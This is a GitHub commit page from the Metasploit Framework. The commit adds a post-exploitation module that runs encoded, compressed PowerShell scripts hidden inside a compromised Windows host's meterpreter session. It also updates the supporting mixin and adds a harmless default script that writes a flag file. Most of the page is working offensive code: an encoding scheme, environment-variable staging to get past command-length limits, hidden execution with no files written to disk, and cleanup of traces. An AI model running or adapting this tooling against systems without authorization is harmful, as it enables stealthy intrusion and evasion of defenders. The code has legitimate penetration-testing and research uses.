Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
Browse files

PowerShell post module download and exec

This adds sempervictus's PowerShell post module, along with a default
post module one can use for quick testing (for expected results, see
the screencap Gist at https://gist.github.com/6011cb87b01e970deca8

[Closes #403]

Squashed commit of the following:

commit c6b5a6aac1dc8781c67b611289d7710129592e83
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:43:48 2012 -0500

    Minor tweaks to language

commit ef088e135cd7b0ccb514a3011889154661d5bd09
Merge: 0a05455 1e14211
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:34:27 2012 -0500

    Merge remote branch 'todb/default-powershell' into Pull403

commit 0a0545558604c53d4648e3314ca8963ff9b225a7
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:33:33 2012 -0500

    Reverting unrelated telnet fix

    While I'm sure it's great, it needs to be tested.

commit 1e1421102b44a4c60c6eb9b442227075e959d7c6
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:14:09 2012 -0500

    Adds a default path to a script for exec_powershell.rb

commit 9978787f44896d06744d50febf4344111edcd7b1
Author: Tod Beardsley <todb@metasploit.com>
Date:   Mon May 21 14:06:46 2012 -0500

    Adds a new default powershell script

commit 25b6059
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:15:15 2012 -0400

    Synchronized SVIT version of lib...powershell.rb to github. Adds timeout option, check for script encoding, etc. Added post/windows/manage/powershell folder with script execution module. Other modules which can be placed here would be WinRM meterp exec, PS persistence, etc

commit c4a7fd9
Merge: 21b31f1 36207eb
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:07:26 2012 -0400

    msfvenom formatting merge conflict fix

commit 36207eb
Merge: c77eb03 4772c12
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Mon May 21 14:06:07 2012 -0400

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework

commit 21b31f1
Merge: 81a7d62 c77eb03
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri May 18 12:57:52 2012 -0400

    Merge branch 'master' into powershell

commit c77eb03
Merge: 89d5af7 52183aa
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri May 18 12:57:21 2012 -0400

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework

commit 89d5af7
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Fri Mar 2 01:28:02 2012 -0500

    Banner encoding fix when running against dd-wrt on ruby 1.9.3

commit 81a7d62
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:19:13 2012 -0400

    powershell for msfvenom

commit 672c7bc
Merge: 3e86dc4 ed542e2
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:08:12 2012 -0400

    exe.rb merge cleanup

commit 3e86dc4
Author: RageLtMan <rageltman [at] sempervictus>
Date:   Tue Mar 20 20:06:03 2012 -0400

    psh encoder cleanup

commit f619ed4
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Sun Feb 5 13:35:11 2012 -0500

    method call fix for psh-net encoder

commit 7b035e6
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:53:54 2012 -0500

    PS encoders: .net and architecture dependent native (psh-net, psh)

commit 7a2749b
Merge: 32730b9 f89853d
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Fri Feb 3 18:38:03 2012 -0500

    Merge branch 'master' into powershell

commit 32730b9
Merge: e69fcd1 f6a6963
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 10:33:17 2012 -0500

    Merge branch 'master' of https://github.com/rapid7/metasploit-framework into powershell

commit e69fcd1
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:59:38 2012 -0500

    msfvenom psh addition

commit 9a5d8ea
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Wed Jan 25 07:29:38 2012 -0500

    Proper author reference

commit 9fd8ac7
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 19:07:30 2012 -0500

    Fix script handling

commit fa363df
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Tue Jan 24 17:31:09 2012 -0500

    added Msf::Post::Windows::Powershell, reworked post module to use mixin

commit e078d15
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 13:42:35 2012 -0500

    vprint_good change

commit 355f8bb
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:50:51 2012 -0500

    exec powershell module

commit 5f95094
Author: RageLtMan <rageltman@sempervictus.com>
Date:   Mon Jan 23 12:45:41 2012 -0500

    powershell encoder support - Redmine Feature #6049
  • Loading branch information...
commit 125aa43072a95e083082c9ea88caea4685c490ee 1 parent d273a0e
RageLtMan authored todb committed
View
14 lib/msf/core/post/windows/powershell.rb
@@ -95,9 +95,10 @@ def compress_script(script_in, eof = nil)
return encoded_expression
end
- def execute_script(script)
- running_pids, open_channels = [], []
+ def execute_script(script, time_out = 15)
+ running_pids, open_channels = [], []
# Execute using -EncodedCommand
+ session.response_timeout = time_out
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
@@ -111,6 +112,11 @@ def execute_script(script)
end
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
+
+ # Check to ensure script is encoded and compressed
+ if compressed_script =~ /\s|\.|\;/
+ compressed_script = compress_script(compressed_script)
+ end
# Divide the encoded script into 8000 byte chunks and iterate
index = 0
count = 8000
@@ -174,7 +180,7 @@ def write_to_log(cmd_out, log_file, eof)
return
end
- def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8))
+ def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
@@ -194,7 +200,7 @@ def clean_up(script_file, eof, running_pids =[], open_channels = [], env_suffix
chan.channel.close()
end
- ::File.delete(script_file) if datastore['DELETE']
+ ::File.delete(script_file) if (script_file and delete)
return
end
View
129 modules/post/windows/manage/powershell/exec_powershell.rb
@@ -0,0 +1,129 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# Original script comments by nick[at]executionflow.org:
+# Meterpreter script to deliver and execute powershell scripts using
+# a compression/encoding method based on the powershell PoC code
+# from rel1k and winfang98 at DEF CON 18. This script furthers the
+# idea by bypassing Windows' command character lmits, allowing the
+# execution of very large scripts. No files are ever written to disk.
+##
+
+require 'zlib' # TODO: check if this can be done with REX
+
+require 'msf/core'
+require 'rex'
+require 'msf/core/post/windows/powershell'
+
+class Metasploit3 < Msf::Post
+ include Msf::Post::Windows::Powershell
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Windows Manage PowerShell Download and/or Execute",
+ 'Description' => %q{
+ This module will download and execute a PowerShell script over a meterpreter session.
+ The user may also enter text substitutions to be made in memory before execution.
+ Setting VERBOSE to true will output both the script prior to execution and the results.
+ },
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision$',
+ 'Platform' => ['windows'],
+ 'SessionTypes' => ['meterpreter'],
+ 'Author' => [
+ 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
+ 'RageLtMan' # post module
+ ]
+ ))
+
+ register_options(
+ [
+ OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
+ ], self.class)
+
+ register_advanced_options(
+ [
+ OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
+ OptBool.new( 'DELETE', [false, 'Delete file after execution', false ]),
+ OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
+ OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
+ ], self.class)
+
+ end
+
+ def run
+
+ # Make sure we meet the requirements before running the script, note no need to return
+ # unless error
+ return 0 if ! (session.type == "meterpreter" || have_powershell?)
+
+ # End of file marker
+ eof = Rex::Text.rand_text_alpha(8)
+ env_suffix = Rex::Text.rand_text_alpha(8)
+
+ # check/set vars
+ subs = process_subs(datastore['SUBSTITUTIONS'])
+ script_in = read_script(datastore['SCRIPT'])
+ print_status(script_in)
+
+ # Make substitutions in script if needed
+ script_in = make_subs(script_in, subs) unless subs.empty?
+
+ # Get target's computer name
+ computer_name = session.sys.config.sysinfo['Computer']
+
+ # Create unique log directory
+ log_dir = ::File.join(Msf::Config.log_directory,'scripts', computer_name)
+ ::FileUtils.mkdir_p(log_dir)
+
+ # Define log filename
+ script_ext = ::File.extname(datastore['SCRIPT'])
+ script_base = ::File.basename(datastore['SCRIPT'], script_ext)
+ time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
+ log_file = ::File.join(log_dir,"#{script_base}-#{time_stamp}.txt")
+
+ # Compress
+ print_status('Compressing script contents.')
+ compressed_script = compress_script(script_in, eof)
+ if datastore['DRY_RUN']
+ print_good("powershell -EncodedCommand #{compressed_script}")
+ return
+ end
+
+ # If the compressed size is > 8100 bytes, launch stager
+ if (compressed_script.size > 8100)
+ print_error("Compressed size: #{compressed_script.size}")
+ error_msg = "Compressed size may cause command to exceed "
+ error_msg += "cmd.exe's 8kB character limit."
+ print_error(error_msg)
+ print_status('Launching stager:')
+ script = stage_to_env(compressed_script, env_suffix)
+ print_good("Payload successfully staged.")
+ else
+ print_good("Compressed size: #{compressed_script.size}")
+ script = compressed_script
+ end
+
+ # Execute the powershell script
+ print_status('Executing the script.')
+ cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])
+
+ # Write output to log
+ print_status("Logging output to #{log_file}.")
+ write_to_log(cmd_out, log_file, eof)
+
+ # Clean up
+ print_status('Cleaning up residual objects and processes.')
+ clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
+
+ # That's it
+ print_good('Finished!')
+ end
+
+end
+
View
2  scripts/ps/msflag.ps1
@@ -0,0 +1,2 @@
+$someText = "Hello from Metasploit!" ; $someText > "C:\flag.txt"
+
Please sign in to comment.
Something went wrong with that request. Please try again.